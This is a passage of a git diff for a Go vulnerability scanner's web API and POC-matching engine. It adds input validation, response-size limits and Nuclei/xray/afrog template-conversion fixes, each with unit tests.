strings.TrimPrefix(strings.TrimSuffix(hostForIP, "]"), "[") + } + if net.ParseIP(hostForIP) == nil { + return "" + } + } + portText := strings.TrimSpace(fmt.Sprint(port)) + portNum, err := strconv.Atoi(portText) + if err != nil || portNum < 1 || portNum > 65535 { + return "" + } + host := target + if strings.HasPrefix(host, "[") && strings.HasSuffix(host, "]") { + host = strings.TrimPrefix(strings.TrimSuffix(host, "]"), "[") + } + return net.JoinHostPort(host, portText) +} + // List 获取所有结果 func (s *ResultStore) List() []ResultItem { s.mu.RLock() @@ -444,14 +475,25 @@ func extractServiceInfo(details interface{}) (service, version, banner string) { } if b, ok := m["banner"].(string); ok { banner = escapeControlChars(b) - if len(banner) > 100 { - banner = banner[:100] + "..." - } + banner = truncateString(banner, 100) } } return } +func truncateString(s string, maxRunes int) string { + if maxRunes < 0 { + return s + } + for i := range s { + if maxRunes == 0 { + return s[:i] + "..." + } + maxRunes-- + } + return s +} + // extractVulnType 从 details 中提取漏洞类型 func extractVulnType(details interface{}) string { if m, ok := details.(map[string]interface{}); ok { diff --git a/web/api/result_test.go b/web/api/result_test.go index d0f3935..d9ba549 100644 --- a/web/api/result_test.go +++ b/web/api/result_test.go @@ -2,7 +2,10 @@ package api -import "testing" +import ( + "testing" + "unicode/utf8" +) func TestExtractHostPortIPv6(t *testing.T) { tests := []struct { @@ -29,3 +32,43 @@ func TestExtractHostPortIPv6(t *testing.T) { }) } } + +func TestTargetWithDetailsPort(t *testing.T) { + tests := []struct { + name string + target string + port interface{} + want string + }{ + {name: "hostname", target: "example.com", port: 443, want: "example.com:443"}, + {name: "ipv4", target: "192.168.1.1", port: "80", want: "192.168.1.1:80"}, + {name: "bare ipv6", target: "2001:db8::1", port: 8443, want: "[2001:db8::1]:8443"}, + {name: "bracketed ipv6", target: "[2001:db8::1]", port: 8443, want: "[2001:db8::1]:8443"}, + {name: "already has port", target: "[2001:db8::1]:8443", port: 9443, want: ""}, + {name: "invalid colon target", target: "example.com:abc", port: 80, want: ""}, + {name: "url target", target: "http://example.com", port: 80, want: ""}, + {name: "bad port", target: "example.com", port: 70000, want: ""}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := targetWithDetailsPort(tt.target, tt.port); got != tt.want { + t.Fatalf("targetWithDetailsPort(%q, %v) = %q, want %q", tt.target, tt.port, got, tt.want) + } + }) + } +} + +func TestExtractServiceInfoTruncatesBannerByRune(t *testing.T) { + banner := "" + for i := 0; i < 105; i++ { + banner += "界" + } + _, _, got := extractServiceInfo(map[string]interface{}{"banner": banner}) + if !utf8.ValidString(got) { + t.Fatalf("banner is not valid utf8: %q", got) + } + if len([]rune(got)) != 103 || got[len(got)-3:] != "..." { + t.Fatalf("banner = %q, rune len %d", got, len([]rune(got))) + } +} diff --git a/webscan/lib/Eval.go b/webscan/lib/Eval.go index 54cb487..6eeae8e 100644 --- a/webscan/lib/Eval.go +++ b/webscan/lib/Eval.go @@ -33,6 +33,8 @@ var ( baseProgramOpt []cel.ProgramOption ) +const maxPOCResponseBodyBytes = 8 << 20 + // 包级POC配置(atomic 保证并发安全) var pocDNSLog atomic.Bool @@ -386,6 +388,9 @@ func reverseCheck(r *Reverse, timeout int64) bool { // RandomStr 生成指定长度的随机字符串 func RandomStr(randSource *rand.Rand, letterBytes string, n int) string { + if n <= 0 || letterBytes == "" { + return "" + } const ( // 用 6 位比特表示一个字母索引 letterIdxBits = 6 @@ -471,9 +476,9 @@ func DoRequest(req *http.Request, redirect bool, session *common.ScanSession) (* ) if redirect { - oResp, err = Client.Do(req) + oResp, err = requestClient(true).Do(req) } else { - oResp, err = ClientNoRedirect.Do(req) + oResp, err = requestClient(false).Do(req) } // 标准TLS连接失败时,尝试国密TLS客户端 @@ -484,12 +489,16 @@ func DoRequest(req *http.Request, redirect bool, session *common.ScanSession) (* } } if redirect { - if oResp2, err2 := ClientGM.Do(req); err2 == nil { - oResp, err = oResp2, nil + if clientGM := gmRequestClient(true); clientGM != nil { + if oResp2, err2 := clientGM.Do(req); err2 == nil { + oResp, err = oResp2, nil + } } } else { - if oResp2, err2 := ClientNoRedirectGM.Do(req); err2 == nil { - oResp, err = oResp2, nil + if clientGM := gmRequestClient(false); clientGM != nil { + if oResp2, err2 := clientGM.Do(req); err2 == nil { + oResp, err = oResp2, nil + } } } } @@ -513,6 +522,30 @@ func DoRequest(req *http.Request, redirect bool, session *common.ScanSession) (* return resp, err } +func requestClient(redirect bool) *http.Client { + if redirect { + if Client != nil { + return Client + } + return http.DefaultClient + } + if ClientNoRedirect != nil { + return ClientNoRedirect + } + return &http.Client{ + CheckRedirect: func(*http.Request, []*http.Request) error { + return http.ErrUseLastResponse + }, + } +} + +func gmRequestClient(redirect bool) *http.Client { + if redirect { + return ClientGM + } + return ClientNoRedirectGM +} + // ParseURL 解析 TargetURL 并转换为自定义 TargetURL 类型 func ParseURL(u *url.URL) *UrlType { return &UrlType{ @@ -597,7 +630,7 @@ func ParseResponse(oResp *http.Response) (*Response, error) { // getRespBody 读取 HTTP 响应体并处理可能的 gzip 压缩 func getRespBody(oResp *http.Response) ([]byte, error) { // 读取原始响应体 - body, err := io.ReadAll(oResp.Body) + body, err := io.ReadAll(io.LimitReader(oResp.Body, maxPOCResponseBodyBytes)) if err != nil && !errors.Is(err, io.EOF) && len(body) == 0 { return nil, err } @@ -610,7 +643,7 @@ func getRespBody(oResp *http.Response) ([]byte, error) { } defer func() { _ = reader.Close() }() - decompressed, err := io.ReadAll(reader) + decompressed, err := io.ReadAll(io.LimitReader(reader, maxPOCResponseBodyBytes)) if err != nil && !errors.Is(err, io.EOF) && len(decompressed) == 0 { return nil, err } diff --git a/webscan/lib/eval_random.go b/webscan/lib/eval_random.go index cb4f970..a5ab040 100644 --- a/webscan/lib/eval_random.go +++ b/webscan/lib/eval_random.go @@ -1,6 +1,7 @@ package lib import ( + "fmt" "math/rand" //nolint:gosec // G404: math/rand用于生成POC测试数据,非加密用途 "github.com/google/cel-go/checker/decls" @@ -10,6 +11,8 @@ import ( exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1" ) +const maxRandomStringLength = 4096 + // registerRandomDeclarations 注册随机函数的CEL声明 func registerRandomDeclarations() []*exprpb.Decl { return []*exprpb.Decl{ @@ -46,12 +49,13 @@ func registerRandomImplementations() []*functions.Overload { if !ok { return types.ValOrErr(rhs, "unexpected type '%v' passed to randomInt", rhs.Type()) } - min, max := int(from), int(to) - if max <= min { - return types.NewErr("randomInt: max(%d) must be greater than min(%d)", max, min) - } - //nolint:gosec // G404: 用于生成POC测试随机数,非加密用途 - return types.Int(rand.Intn(max-min) + min) + min, max := int64(from), int64(to) + span, err := randomIntSpan(min, max) + if err != nil { + return types.NewErr("%v", err) + } + //nolint:gosec // G404: 用于生成POC测试随机数,非加密用途 + return types.Int(rand.Int63n(span) + min) }, }, { @@ -61,7 +65,11 @@ func registerRandomImplementations() []*functions.Overload { if !ok { return types.ValOrErr(value, "unexpected type '%v' passed to randomLowercase", value.Type()) } - return types.String(randomLowercase(int(n))) + length, err := validateRandomStringLength(n) + if err != nil { + return types.NewErr("%v", err) + } + return types.String(randomLowercase(length)) }, }, { @@ -71,7 +79,11 @@ func registerRandomImplementations() []*functions.Overload { if !ok { return types.ValOrErr(value, "unexpected type '%v' passed to randomUppercase", value.Type()) } - return types.String(randomUppercase(int(n))) + length, err := validateRandomStringLength(n) + if err != nil { + return types.NewErr("%v", err) + } + return types.String(randomUppercase(length)) }, }, { @@ -81,8 +93,30 @@ func registerRandomImplementations() []*functions.Overload { if !ok { return types.ValOrErr(value, "unexpected type '%v' passed to randomString", value.Type()) } - return types.String(randomString(int(n))) + length, err := validateRandomStringLength(n) + if err != nil { + return types.NewErr("%v", err) + } + return types.String(randomString(length)) }, }, } } + +func randomIntSpan(min, max int64) (int64, error) { + if max <= min { + return 0, fmt.Errorf("randomInt: max(%d) must be greater than min(%d)", max, min) + } + const maxInt64 = int64(^uint64(0) >> 1) + if min < 0 && max > maxInt64+min { + return 0, fmt.Errorf("randomInt: range too large") + } + return max - min, nil +} + +func validateRandomStringLength(n types.Int) (int, error) { + if n < 0 || n > maxRandomStringLength { + return 0, fmt.Errorf("random string length must be between 0 and %d", maxRandomStringLength) + } + return int(n), nil +} diff --git a/webscan/lib/eval_string.go b/webscan/lib/eval_string.go index 39b5ab7..b8aa5e6 100644 --- a/webscan/lib/eval_string.go +++ b/webscan/lib/eval_string.go @@ -109,12 +109,12 @@ func registerStringImplementations() []*functions.Overload { return types.NewErr("invalid length to 'substr'") } runes := []rune(str) - if start < 0 || length < 0 || int(start+length) > len(runes) { + if start < 0 || length < 0 || start > types.Int(len(runes)) || length > types.Int(len(runes))-start { return types.NewErr("invalid start or length to 'substr'") } - return types.String(runes[start : start+length]) + return types.String(runes[int(start):int(start+length)]) } - return types.NewErr("too many arguments to 'substr'") + return types.NewErr("invalid argument count to 'substr'") }, }, { diff --git a/webscan/lib/eval_test.go b/webscan/lib/eval_test.go index f626539..8013a02 100644 --- a/webscan/lib/eval_test.go +++ b/webscan/lib/eval_test.go @@ -1,10 +1,12 @@ package lib import ( + "compress/gzip" "errors" "fmt" "io" "net/http" + "net/http/httptest" "net/url" "strings" "testing" @@ -258,6 +260,21 @@ func TestRandomInt(t *testing.T) { } } +func TestRandomIntRejectsOverflowingRange(t *testing.T) { + customLib := NewEnvOption() + env, err := NewEnv(&customLib) + if err != nil { + t.Fatalf("创建 CEL 环境失败: %v", err) + } + + if _, err := Evaluate(env, "randomInt(-9223372036854775808, 9223372036854775807)", map[string]interface{}{}); err == nil { + t.Fatal("Evaluate() error = nil, want randomInt range error") + } + if _, err := randomIntSpan(-9223372036854775807-1, 9223372036854775807); err == nil { + t.Fatal("randomIntSpan() error = nil, want range too large") + } +} + func TestRandomLowercase(t *testing.T) { customLib := NewEnvOption() env, err := NewEnv(&customLib) @@ -388,6 +405,26 @@ func TestRandomString(t *testing.T) { } } +func TestRandomStringLengthValidation(t *testing.T) { + customLib := NewEnvOption() + env, err := NewEnv(&customLib) + if err != nil { + t.Fatalf("创建 CEL 环境失败: %v", err) + } + + for _, expr := range []string{ + "randomLowercase(-1)", + fmt.Sprintf("randomUppercase(%d)", maxRandomStringLength+1), + fmt.Sprintf("randomString(%d)", maxRandomStringLength+1), + } { + t.Run(expr, func(t *testing.T) { + if _, err := Evaluate(env, expr, map[string]interface{}{}); err == nil { + t.Fatal("Evaluate() error = nil, want invalid random string length") + } + }) + } +} + // ============================================================================= // eval_string.go 测试 - 字符串函数 // ============================================================================= @@ -469,6 +506,12 @@ func TestSubstr(t *testing.T) { } }) } + + t.Run("长度溢出不panic", func(t *testing.T) { + if _, err := Evaluate(env, `substr("hello", 1, 9223372036854775807)`, map[string]interface{}{}); err == nil { + t.Fatal("Evaluate() error = nil, want invalid substr bounds") + } + }) } func TestIStartsWith(t *testing.T) { @@ -1086,6 +1129,45 @@ func TestGetRespBody(t *testing.T) { } } +func TestGetRespBodyLimitsPlainBody(t *testing.T) { + resp := &http.Response{ + Header: make(http.Header), + Body: io.NopCloser(strings.NewReader(strings.Repeat("a", maxPOCResponseBodyBytes+1024))), + } + + body, err := getRespBody(resp) + if err != nil { + t.Fatalf("getRespBody error = %v", err) + } + if len(body) != maxPOCResponseBodyBytes { + t.Fatalf("body len = %d, want %d", len(body), maxPOCResponseBodyBytes) + } +} + +func TestGetRespBodyLimitsGzipBody(t *testing.T) { + var compressed strings.Builder + gzipWriter := gzip.NewWriter(&compressed) + if _, err := gzipWriter.Write([]byte(strings.Repeat("a", maxPOCResponseBodyBytes+1024))); err != nil { + t.Fatalf("gzip write error = %v", err) + } + if err := gzipWriter.Close(); err != nil { + t.Fatalf("gzip close error = %v", err) + } + + resp := &http.Response{ + Header: http.Header{"Content-Encoding": []string{"gzip"}}, + Body: io.NopCloser(strings.NewReader(compressed.String())), + } + + body, err := getRespBody(resp) + if err != nil { + t.Fatalf("getRespBody error = %v", err) + } + if len(body) != maxPOCResponseBodyBytes { + t.Fatalf("body len = %d, want %d", len(body), maxPOCResponseBodyBytes) + } +} + func TestDoRequestBuffersUnknownLengthBody(t *testing.T) { previous := ClientNoRedirect defer func() { ClientNoRedirect = previous }() @@ -1124,6 +1206,52 @@ func TestDoRequestBuffersUnknownLengthBody(t *testing.T) { } } +func TestDoRequestUsesFallbackClientWhenGlobalClientNil(t *testing.T) { + previous := ClientNoRedirect + ClientNoRedirect = nil + defer func() { ClientNoRedirect = previous }() + + server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { + _, _ = w.Write([]byte("ok")) + })) + defer server.Close() + + req, err := http.NewRequest(http.MethodGet, server.URL, nil) + if err != nil { + t.Fatalf("NewRequest error = %v", err) + } + + resp, err := DoRequest(req, false, nil) + if err != nil { + t.Fatalf("DoRequest error = %v", err) + } + if string(resp.Body) != "ok" { + t.Fatalf("body = %q, want ok", resp.Body) + } +} + +func TestDoRequestSkipsNilGMTLSFallback(t *testing.T) { + previousNR, previousGM := ClientNoRedirect, ClientNoRedirectGM + defer func() { + ClientNoRedirect = previousNR + ClientNoRedirectGM = previousGM + }() + + ClientNoRedirect = &http.Client{Transport: roundTripFunc(func(*http.Request) (*http.Response, error) { + return nil, errors.New("standard tls failed") + })} + ClientNoRedirectGM = nil + + req, err := http.NewRequest(http.MethodGet, "https://example.com", nil) + if err != nil { + t.Fatalf("NewRequest error = %v", err) + } + + if _, err := DoRequest(req, false, nil); err == nil { + t.Fatal("DoRequest expected standard TLS error") + } +} + func TestDoRequestReplaysBodyForGMTLSFallback(t *testing.T) { previousNR, previousGM := ClientNoRedirect, ClientNoRedirectGM defer func() { @@ -1208,3 +1336,9 @@ func TestRandomStr(t *testing.T) { }) } } + +func TestRandomStrRejectsNegativeLength(t *testing.T) { + if got := RandomStr(randSource, "abc", -1); got != "" { + t.Fatalf("RandomStr negative length = %q, want empty", got) + } +} diff --git a/webscan/lib/poc_adapter.go b/webscan/lib/poc_adapter.go index 6ca966d..cb67767 100644 --- a/webscan/lib/poc_adapter.go +++ b/webscan/lib/poc_adapter.go @@ -24,6 +24,33 @@ const ( FormatUnknown PocFormat = "unknown" ) +type yamlStringList []string + +func (l *yamlStringList) UnmarshalYAML(unmarshal func(interface{}) error) error { + var single string + if err := unmarshal(&single); err == nil { + if single != "" { + *l = []string{single} + } + return nil + } + + var list []interface{} + if err := unmarshal(&list); err != nil { + return err + } + values := make([]string, 0, len(list)) + for _, item := range list { + values = append(values, fmt.Sprintf("%v", item)) + } + *l = values + return nil +} + +func (l yamlStringList) String() string { + return strings.Join(l, ", ") +} + // UniversalPoc 通用POC接口 - 所有格式都要实现这个接口 type UniversalPoc interface { GetName() string // 获取POC名称 @@ -144,29 +171,32 @@ func (f *FscanPocAdapter) ToFscanPoc() (*Poc, error) { type NucleiPoc struct { ID string `yaml:"id"` Info struct { - Name string `yaml:"name"` - Author string `yaml:"author"` - Severity string `yaml:"severity"` - Description string `yaml:"description"` - Reference []string `yaml:"reference"` + Name string `yaml:"name"` + Author yamlStringList `yaml:"author"` + Severity string `yaml:"severity"` + Description string `yaml:"description"` + Reference yamlStringList `yaml:"reference"` } `yaml:"info"` HTTP []struct { - Method string `yaml:"method"` - Path []string `yaml:"path"` - Headers map[string]string `yaml:"headers"` - Body string `yaml:"body"` - Matchers []struct { - Type string `yaml:"type"` - Words []string `yaml:"words"` - Status []int `yaml:"status"` - Regex []string `yaml:"regex"` - Condition string `yaml:"condition"` - Part string `yaml:"part"` - } `yaml:"matchers"` - MatchersCondition string `yaml:"matchers-condition"` + Method string `yaml:"method"` + Path []string `yaml:"path"` + Headers map[string]string `yaml:"headers"` + Body string `yaml:"body"` + Matchers []NucleiMatcher `yaml:"matchers"` + MatchersCondition string `yaml:"matchers-condition"` } `yaml:"http"` } +type NucleiMatcher struct { + Type string `yaml:"type"` + Words []string `yaml:"words"` + Status []int `yaml:"status"` + Regex []string `yaml:"regex"` + Condition string `yaml:"condition"` + Part string `yaml:"part"` + Negative bool `yaml:"negative"` +} + // NucleiPocAdapter Nuclei格式适配器 type NucleiPocAdapter struct { *NucleiPoc @@ -198,9 +228,9 @@ func (n *NucleiPocAdapter) ToFscanPoc() (*Poc, error) { poc := &Poc{ Name: n.GetName(), Detail: Detail{ - Author: n.Info.Author, + Author: n.Info.Author.String(), Description: n.Info.Description, - Links: n.Info.Reference, + Links: []string(n.Info.Reference), }, } @@ -221,7 +251,7 @@ func (n *NucleiPocAdapter) ToFscanPoc() (*Poc, error) { for _, path := range paths { rule := Rules{ Method: method, - Path: path, + Path: normalizeNucleiPath(path), Headers: httpReq.Headers, Body: httpReq.Body, } @@ -246,26 +276,27 @@ func (n *NucleiPocAdapter) ToFscanPoc() (*Poc, error) { return poc, nil } +func normalizeNucleiPath(path string) string { + path = strings.TrimSpace(path) + path = strings.TrimPrefix(path, "{{BaseURL}}") + path = strings.TrimPrefix(path, "{{RootURL}}") + if path == "" { + return "/" + } + return path +} + // convertNucleiMatchers 转换Nuclei matchers为fscan expression -func convertNucleiMatchers(matchers []struct { - Type string `yaml:"type"` - Words []string `yaml:"words"` - Status []int `yaml:"status"` - Regex []string `yaml:"regex"` - Condition string `yaml:"condition"` - Part string `yaml:"part"` -}, matchersCondition string) string { +func convertNucleiMatchers(matchers []NucleiMatcher, matchersCondition string) string { var conditions []string for _, m := range matchers { var matcherConds []string - switch m.Type { + switch strings.ToLower(m.Type) { case "word": for _, word := range m.Words { - // 转义双引号 - escapedWord := strings.ReplaceAll(word, `"`, `\"`) - matcherConds = append(matcherConds, fmt.Sprintf(`response.body.bcontains(b"%s")`, escapedWord)) + matcherConds = append(matcherConds, nucleiWordCondition(m.Part, word)) } case "status": for _, status := range m.Status { @@ -273,9 +304,7 @@ func convertNucleiMatchers(matchers []struct { } case "regex": for _, pattern := range m.Regex { - // 简化处理:直接用bmatches - escapedPattern := strings.ReplaceAll(pattern, `"`, `\"`) - matcherConds = append(matcherConds, fmt.Sprintf(`response.body.bmatches(b"%s")`, escapedPattern)) + matcherConds = append(matcherConds, nucleiRegexCondition(m.Part, pattern)) } case "dsl": // DSL类型暂不支持,使用默认匹配 @@ -285,16 +314,20 @@ func convertNucleiMatchers(matchers []struct { // 单个matcher内的条件组合 if len(matcherConds) > 0 { connector := " && " - if m.Condition == "or" { + if strings.EqualFold(m.Condition, "or") { connector = " || " } + var combined string if len(matcherConds) == 1 { - conditions = append(conditions, matcherConds[0]) + combined = matcherConds[0] } else { - combined := "(" + strings.Join(matcherConds, connector) + ")" - conditions = append(conditions, combined) + combined = "(" + strings.Join(matcherConds, connector) + ")" } + if m.Negative { + combined = "!(" + combined + ")" + } + conditions = append(conditions, combined) } } @@ -308,13 +341,57 @@ func convertNucleiMatchers(matchers []struct { // 多个matcher之间的条件组合 connector := " && " - if matchersCondition == "or" { + if strings.EqualFold(matchersCondition, "or") { connector = " || " } return strings.Join(conditions, connector) } +func nucleiWordCondition(part, word string) string { + word = escapeCELBytesLiteral(word) + switch normalizeMatcherPart(part) { + case "header": + return fmt.Sprintf(`response.headers.exists(k, bytes(k + ": " + response.headers[k]).bcontains(b"%s"))`, word) + case "all": + return fmt.Sprintf(`(response.body.bcontains(b"%s") || response.headers.exists(k, bytes(k + ": " + response.headers[k]).bcontains(b"%s")))`, word, word) + default: + return fmt.Sprintf(`response.body.bcontains(b"%s")`, word) + } +} + +func nucleiRegexCondition(part, pattern string) string { + pattern = escapeCELStringLiteral(pattern) + switch normalizeMatcherPart(part) { + case "header": + return fmt.Sprintf(`response.headers.exists(k, "%s".bmatches(bytes(k + ": " + response.headers[k])))`, pattern) + case "all": + return fmt.Sprintf(`("%s".bmatches(response.body) || response.headers.exists(k, "%s".bmatches(bytes(k + ": " + response.headers[k]))))`, pattern, pattern) + default: + return fmt.Sprintf(`"%s".bmatches(response.body)`, pattern) + } +} + +func normalizeMatcherPart(part string) string { + switch strings.ToLower(strings.TrimSpace(part)) { + case "header", "headers", "all_headers": + return "header" + case "all": + return "all" + default: + return "body" + } +} + +func escapeCELBytesLiteral(s string) string { + s = strings.ReplaceAll(s, `\`, `\\`) + return strings.ReplaceAll(s, `"`, `\"`) +} + +func escapeCELStringLiteral(s string) string { + return escapeCELBytesLiteral(s) +} + // ============= xray格式适配器 ============= // XrayPoc xray POC结构 @@ -393,7 +470,7 @@ func (x *XrayPocAdapter) ToFscanPoc() (*Poc, error) { // 展开 request 对象为 fscan Rule fscanRule := Rules{ Method: rule.Request.Method, - Path: rule.Request.Path, + Path: normalizeNucleiPath(rule.Request.Path), Headers: rule.Request.Headers, Body: rule.Request.Body, FollowRedirects: rule.Request.FollowRedirects, @@ -426,14 +503,14 @@ func (x *XrayPocAdapter) ToFscanPoc() (*Poc, error) { type AfrogPoc struct { ID string `yaml:"id"` Info struct { - Name string `yaml:"name"` - Author string `yaml:"author"` - Severity string `yaml:"severity"` - Verified bool `yaml:"verified"` - Description string `yaml:"description"` - Reference []string `yaml:"reference"` - Tags string `yaml:"tags"` - Created string `yaml:"created"` + Name string `yaml:"name"` + Author yamlStringList `yaml:"author"` + Severity string `yaml:"severity"` + Verified bool `yaml:"verified"` + Description string `yaml:"description"` + Reference yamlStringList `yaml:"reference"` + Tags string `yaml:"tags"` + Created string `yaml:"created"` } `yaml:"info"` Set map[string]interface{} `yaml:"set"` Rules map[string]XrayRule `yaml:"rules"` // 复用 xray 的 rule 结构 @@ -472,9 +549,9 @@ func (a *AfrogPocAdapter) ToFscanPoc() (*Poc, error) { poc := &Poc{ Name: a.GetName(), Detail: Detail{ - Author: a.Info.Author, + Author: a.Info.Author.String(), Description: a.Info.Description, - Links: a.Info.Reference, + Links: []string(a.Info.Reference), }, } @@ -499,7 +576,7 @@ func (a *AfrogPocAdapter) ToFscanPoc() (*Poc, error) { fscanRule := Rules{ Method: rule.Request.Method, - Path: rule.Request.Path, + Path: normalizeNucleiPath(rule.Request.Path), Headers: rule.Request.Headers, Body: rule.Request.Body, FollowRedirects: rule.Request.FollowRedirects, diff --git a/webscan/lib/poc_adapter_test.go b/webscan/lib/poc_adapter_test.go index 2864e8d..c6dbe68 100644 --- a/webscan/lib/poc_adapter_test.go +++ b/webscan/lib/poc_adapter_test.go @@ -3,6 +3,8 @@ package lib import ( "strings" "testing" + + "github.com/google/cel-go/common/types" ) // TestDetectPocFormat 测试POC格式检测 @@ -168,6 +170,9 @@ http: if len(poc.Rules) != 2 { t.Errorf("len(Poc.Rules) = %v, want %v", len(poc.Rules), 2) } + if poc.Rules[0].Path != "/admin" || poc.Rules[1].Path != "/api" { + t.Fatalf("Nuclei paths = %q, %q; want /admin, /api", poc.Rules[0].Path, poc.Rules[1].Path) + } if poc.Detail.Author != "pdteam" { t.Errorf("Poc.Detail.Author = %v, want %v", poc.Detail.Author, "pdteam") @@ -179,31 +184,101 @@ http: } } +func TestNormalizeNucleiPath(t *testing.T) { + tests := []struct { + in string + want string + }{ + {"{{BaseURL}}", "/"}, + {"{{BaseURL}}/admin", "/admin"}, + {"{{RootURL}}/login", "/login"}, + {" {{BaseURL}}/api?q=1 ", "/api?q=1"}, + {"/plain", "/plain"}, + } + + for _, tt := range tests { + t.Run(tt.in, func(t *testing.T) { + if got := normalizeNucleiPath(tt.in); got != tt.want { + t.Fatalf("normalizeNucleiPath(%q) = %q, want %q", tt.in, got, tt.want) + } + }) + } +} + +func TestNucleiInfoAcceptsScalarAndListMetadata(t *testing.T) { + yaml := ` +id: metadata-flex +info: + name: Metadata Flex + author: + - alice + - bob + reference: https://example.com/ref +http: + - path: + - "{{BaseURL}}" +` + + adapter, err := loadNucleiPoc([]byte(yaml)) + if err != nil { + t.Fatalf("loadNucleiPoc() error = %v", err) + } + poc, err := adapter.ToFscanPoc() + if err != nil { + t.Fatalf("ToFscanPoc() error = %v", err) + } + if poc.Detail.Author != "alice, bob" { + t.Fatalf("Author = %q, want alice, bob", poc.Detail.Author) + } + if len(poc.Detail.Links) != 1 || poc.Detail.Links[0] != "https://example.com/ref" { + t.Fatalf("Links = %#v, want scalar reference converted to slice", poc.Detail.Links) + } +} + +func TestAfrogInfoAcceptsScalarAndListMetadata(t *testing.T) { + yaml := ` +id: afrog-metadata-flex +info: + name: Afrog Metadata Flex + author: carol + reference: + - https://example.com/a + - https://example.com/b +rules: + r0: + request: + method: GET + path: "{{BaseURL}}/panel" + expression: response.status == 200 +` + + adapter, err := loadAfrogPoc([]byte(yaml)) + if err != nil { + t.Fatalf("loadAfrogPoc() error = %v", err) + } + poc, err := adapter.ToFscanPoc() + if err != nil { + t.Fatalf("ToFscanPoc() error = %v", err) + } + if poc.Detail.Author != "carol" { + t.Fatalf("Author = %q, want carol", poc.Detail.Author) + } + if len(poc.Detail.Links) != 2 { + t.Fatalf("Links = %#v, want two references", poc.Detail.Links) + } +} + // TestConvertNucleiMatchers 测试Nuclei matcher转换 func TestConvertNucleiMatchers(t *testing.T) { tests := []struct { name string - matchers []struct { - Type string `yaml:"type"` - Words []string `yaml:"words"` - Status []int `yaml:"status"` - Regex []string `yaml:"regex"` - Condition string `yaml:"condition"` - Part string `yaml:"part"` - } + matchers []NucleiMatcher matchersCondition string wantContains string }{ { name: "单个word matcher", - matchers: []struct { - Type string `yaml:"type"` - Words []string `yaml:"words"` - Status []int `yaml:"status"` - Regex []string `yaml:"regex"` - Condition string `yaml:"condition"` - Part string `yaml:"part"` - }{ + matchers: []NucleiMatcher{ { Type: "word", Words: []string{"admin"}, @@ -214,14 +289,7 @@ func TestConvertNucleiMatchers(t *testing.T) { }, { name: "单个status matcher", - matchers: []struct { - Type string `yaml:"type"` - Words []string `yaml:"words"` - Status []int `yaml:"status"` - Regex []string `yaml:"regex"` - Condition string `yaml:"condition"` - Part string `yaml:"part"` - }{ + matchers: []NucleiMatcher{ { Type: "status", Status: []int{200}, @@ -232,14 +300,7 @@ func TestConvertNucleiMatchers(t *testing.T) { }, { name: "多个matcher - AND条件", - matchers: []struct { - Type string `yaml:"type"` - Words []string `yaml:"words"` - Status []int `yaml:"status"` - Regex []string `yaml:"regex"` - Condition string `yaml:"condition"` - Part string `yaml:"part"` - }{ + matchers: []NucleiMatcher{ { Type: "word", Words: []string{"admin"}, @@ -254,14 +315,7 @@ func TestConvertNucleiMatchers(t *testing.T) { }, { name: "多个matcher - OR条件", - matchers: []struct { - Type string `yaml:"type"` - Words []string `yaml:"words"` - Status []int `yaml:"status"` - Regex []string `yaml:"regex"` - Condition string `yaml:"condition"` - Part string `yaml:"part"` - }{ + matchers: []NucleiMatcher{ { Type: "word", Words: []string{"admin"}, @@ -299,6 +353,129 @@ func TestConvertNucleiMatchers(t *testing.T) { } } +func TestConvertNucleiMatchersEscapesCELByteLiterals(t *testing.T) { + matchers := []NucleiMatcher{ + { + Type: "word", + Words: []string{`C:\Windows "System32"`}, + }, + { + Type: "regex", + Regex: []string{`admin\\d+"`}, + }, + } + + expr := convertNucleiMatchers(matchers, "and") + if !strings.Contains(expr, `C:\\Windows \"System32\"`) { + t.Fatalf("word matcher was not escaped correctly: %s", expr) + } + if !strings.Contains(expr, `admin\\\\d+\"`) { + t.Fatalf("regex matcher was not escaped correctly: %s", expr) + } + if !strings.Contains(expr, `.bmatches(response.body)`) { + t.Fatalf("regex matcher should use pattern receiver and response body argument: %s", expr) + } +} + +func TestConvertNucleiMatchersRespectsHeaderPart(t *testing.T) { + expr := convertNucleiMatchers([]NucleiMatcher{ + { + Type: "word", + Words: []string{"nginx"}, + Part: "header", + }, + }, "") + + result, err := Evaluate(GetBaseEnv(), expr, map[string]interface{}{ + "response": &Response{ + Headers: map[string]string{"Server": "nginx"}, + Body: []byte("no match in body"), + }, + }) + if err != nil { + t.Fatalf("Evaluate(%q) error = %v", expr, err) + } + if result != types.True { + t.Fatalf("header matcher result = %v, want true; expr = %s", result, expr) + } +} + +func TestConvertNucleiMatchersRespectsAllPart(t *testing.T) { + expr := convertNucleiMatchers([]NucleiMatcher{ + { + Type: "regex", + Regex: []string{`JSESSIONID=\w+`}, + Part: "all", + }, + }, "") + + result, err := Evaluate(GetBaseEnv(), expr, map[string]interface{}{ + "response": &Response{ + Headers: map[string]string{"Set-Cookie": "JSESSIONID=abc123"}, + Body: []byte("no match in body"), + }, + }) + if err != nil { + t.Fatalf("Evaluate(%q) error = %v", expr, err) + } + if result != types.True { + t.Fatalf("all matcher result = %v, want true; expr = %s", result, expr) + } +} + +func TestConvertNucleiMatchersRespectsNegative(t *testing.T) { + expr := convertNucleiMatchers([]NucleiMatcher{ + { + Type: "word", + Words: []string{"error"}, + Negative: true, + }, + }, "") + + result, err := Evaluate(GetBaseEnv(), expr, map[string]interface{}{ + "response": &Response{Body: []byte("fatal error")}, + }) + if err != nil { + t.Fatalf("Evaluate(%q) error = %v", expr, err) + } + if result != types.False { + t.Fatalf("negative matcher result = %v, want false; expr = %s", result, expr) + } +} + +func TestConvertNucleiMatchersConditionIsCaseInsensitive(t *testing.T) { + expr := convertNucleiMatchers([]NucleiMatcher{ + { + Type: "word", + Words: []string{"alpha", "beta"}, + Condition: "OR", + }, + }, "AND") + if !strings.Contains(expr, " || ") { + t.Fatalf("matcher condition should be case-insensitive OR: %s", expr) + } + + expr = convertNucleiMatchers([]NucleiMatcher{ + {Type: "word", Words: []string{"alpha"}}, + {Type: "word", Words: []string{"beta"}}, + }, "OR") + if !strings.Contains(expr, " || ") { + t.Fatalf("matchers-condition should be case-insensitive OR: %s", expr) + } +} + +func TestConvertNucleiMatchersTypeIsCaseInsensitive(t *testing.T) { + expr := convertNucleiMatchers([]NucleiMatcher{ + { + Type: "WORD", + Words: []string{"admin"}, + }, + }, "") + if !strings.Contains(expr, `response.body.bcontains(b"admin")`) { + t.Fatalf("matcher type should be 